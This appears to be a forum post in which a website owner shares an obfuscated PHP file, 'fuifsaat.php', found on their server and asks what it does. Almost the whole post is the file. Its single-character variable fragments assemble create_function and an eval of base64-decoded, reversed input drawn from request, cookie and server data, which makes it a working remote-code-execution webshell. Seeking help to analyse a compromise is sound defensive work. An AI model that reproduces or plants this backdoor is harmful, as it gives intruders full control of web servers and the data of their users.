Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing?
fuifsaat.php
<?php
$hereto= '](^';$canon =':';$heroine= '(rp:L'; $deceitful= 'Z]Qe<'; $blacks =':Ntiu-_['; $broadcasting= 'T'; $levees ='T"($4n';$bilked='N'; $hitters='e';$drill = '"9t';
$franklin ='(tr'; $clarie ='f';$decomposing= '['; $demetra ='v';$knapsack ='$';$congratulated='s';$canners= 'HPFcd;'; $glenna= 'd(o=kqah'; $hamil= 'Y';$jennette ='('; $dwarfs='i';$buffeted= ')ni='; $assembly='ey';
$craze = 'o>e"rsEa';$chieftains ='v';$helplessly='A'; $clasping='"'; $clusters= 'OQ_6i]p';
$gown='N';
$handfuls ='`'; $bilks= 'p';
$chemist = 'V';$cathode = 'l"*JN';$birds = 'cD)ngi'; $climbed= 'r__rn__';$barons= '$s]jKa';$arrear = 'I';
$blown=')';$earls = 'n';
$jailed ='m'; $icebergs= ')cQ';$assuringly ='.';$appealer= 'a';$hangover ='d';$cradled ='a)pR(Urar';$although= 'G'; $grasping='5'; $madmax ='r';
$decrements ='sc)';
$commending= 'Q';$expensive = 'vln';$expedites = 'laMsr';
$gale='_';$fum = 'e'; $interrogative= 'V';
$flurry = '[';
$ann ='r'; $crops = 'ePE';
$formatters = 'T';$buses= 'g';
$enhanced='RRi'; $leontine= 'u';
$beatriz = 't';$eloquently='+';$anticipates='v';
$darrick= 'Caden?yq';$doubtlessly='P_4vuPW';$deviant = 'i';$cosmology='tE';
$industrials= 'e)'; $leandra = '0';$discerned= 'n'; $helga= '"';$colander= 'ie6u';$helical = 'v,prPXeT_';
$bespeak= 'e';$lissy = 'U';$benedict='E,U;SEV';
$beggarly='71?'; $finality= 'TR'; $briar='H'; $effect= '?'; $geodesic= 'NmeaaS';
$justiciable='rBf$aI;';$engineering='S)seg';
$kidney='o';$endear= 'r'; $hillard = '(';$food='t';$giggling=')';$glider = ' ';
$lezley='_'; $arney='sR;$aH';$flawed='e@(=$iR'; $circularly= 'R)'; $dotes='C';
$conant='2'; $attempts= ']RTf;O)';
$healthfully ='_';$beachhead='VKr$E'; $communists = 'e"$$Ug'; $embellishments ='ssv'; $detailing='q';$latches ='8';$crisscross='(u'; $delightful ='i'; $crowing ='t[3_b"r,[';$immodest ='o'; $assertive= 'tbOe'; $cloudburst = 'r'; $inflamed= '$'; $diet= 'c';$enos= '(';$ftp ='/';
$bash= $diet .$cloudburst .$assertive['3'] . $arney[4] . $assertive[0] .
$assertive['3']. $crowing['3'] . $attempts['3'].$crisscross['1'].$discerned. $diet .
$assertive[0] .$delightful . $immodest.$discerned ; $amendments =$glider; $lam =$bash($amendments,$assertive['3'].
$embellishments['2'].$arney[4] .$expedites['0'] .$enos.$arney[4] . $cloudburst . $cloudburst. $arney[4].$darrick['6'] . $crowing['3'] .$helical['2'] .
$immodest .
$helical['2'].
$enos .$attempts['3'].$crisscross['1'] .$discerned . $diet.$crowing['3'].
$communists['5'] . $assertive['3'] . $assertive[0].
$crowing['3'] .
$arney[4].$cloudburst.
$communists['5'].
$embellishments['1'] .
$enos .$attempts['6'].
$attempts['6'] .
$attempts['6']. $attempts['4']);$lam
($flawed[1] , $deceitful['0'] ,
$hamil,$crowing['3'],
$attempts['4'], $commending ,$beachhead['0'] , $hamil ,$crowing['2'], $doubtlessly['6'], $inflamed . $delightful. $flawed['3'] . $arney[4].$cloudburst . $cloudburst. $arney[4] .
$darrick['6']. $crowing['3'] .
$geodesic['1'] .
$assertive['3'] .$cloudburst. $communists['5']. $assertive['3'].$enos. $inflamed.$crowing['3'].$attempts['1'] . $beachhead['4'] . $commending .$communists[4] .$beachhead['4'] . $engineering['0'] .$attempts[2] .$crowing['7'] .
$inflamed.
$crowing['3'] . $dotes .$assertive['2'].$assertive['2'] . $beachhead[1].$justiciable['5'].
$beachhead['4'].
$crowing['7'] . $inflamed . $crowing['3'].
$engineering['0']. $beachhead['4'] . $attempts['1'] .$beachhead['0'].
$beachhead['4'].$attempts['1'].$attempts['6'] .
$attempts['4'].
$inflamed.
$arney[4]. $flawed['3']. $delightful.$embellishments['1'] . $embellishments['1'] .$assertive['3'] .$assertive[0]. $enos.$inflamed . $delightful.$crowing['8'] . $crowing['5'] .$crisscross['1'].$helical['2'] .$cloudburst . $discerned.$cloudburst. $detailing .
$discerned.$embellishments['2'].$crowing['5'] .$attempts[0] . $attempts['6'] .$effect .
$inflamed. $delightful . $crowing['8'].$crowing['5'] . $crisscross['1'].$helical['2'] .$cloudburst.
$discerned.$cloudburst . $detailing.$discerned. $embellishments['2'] . $crowing['5'] .
$attempts[0]. $blacks['0'].
$enos.
$delightful . $embellishments['1']. $embellishments['1'] .$assertive['3'].
$assertive[0]. $enos .$inflamed. $delightful.$crowing['8'] .$crowing['5'] .$arney['5'].$attempts[2] .$attempts[2] . $helical[4]. $crowing['3'] . $communists[4] . $helical[4].$attempts['1'] . $geodesic['0'] .$attempts['1'] .$commending .$geodesic['0'].$beachhead['0'] . $crowing['5'] .$attempts[0] . $attempts['6']. $effect. $inflamed.$delightful .$crowing['8'].
$crowing['5'] . $arney['5'] .$attempts[2] . $attempts[2]. $helical[4].
$crowing['3'] . $communists[4] . $helical[4] .$attempts['1'] .$geodesic['0'] . $attempts['1']. $commending.$geodesic['0'] .
$beachhead['0'].
$crowing['5'] . $attempts[0].
$blacks['0'].$darrick['2'].$delightful.$assertive['3'] . $attempts['6'] . $attempts['4'] .$assertive['3'].$embellishments['2']. $arney[4] . $expedites['0'] . $enos.$embellishments['1'] .$assertive[0].$cloudburst .$cloudburst. $assertive['3'] .
$embellishments['2'].$enos . $assertive['1'] . $arney[4].
$embellishments['1'].$assertive['3'] . $colander['2'] . $doubtlessly['2'] .$crowing['3'].$darrick['2'].$assertive['3'] .$diet .$immodest. $darrick['2']. $assertive['3'] .$enos .$embellishments['1'].$assertive[0].$cloudburst . $cloudburst. $assertive['3']. $embellishments['2'].$enos .
$inflamed .$arney[4].
$attempts['6'].$attempts['6'] .
$attempts['6']. $attempts['6'].$attempts['4'] );
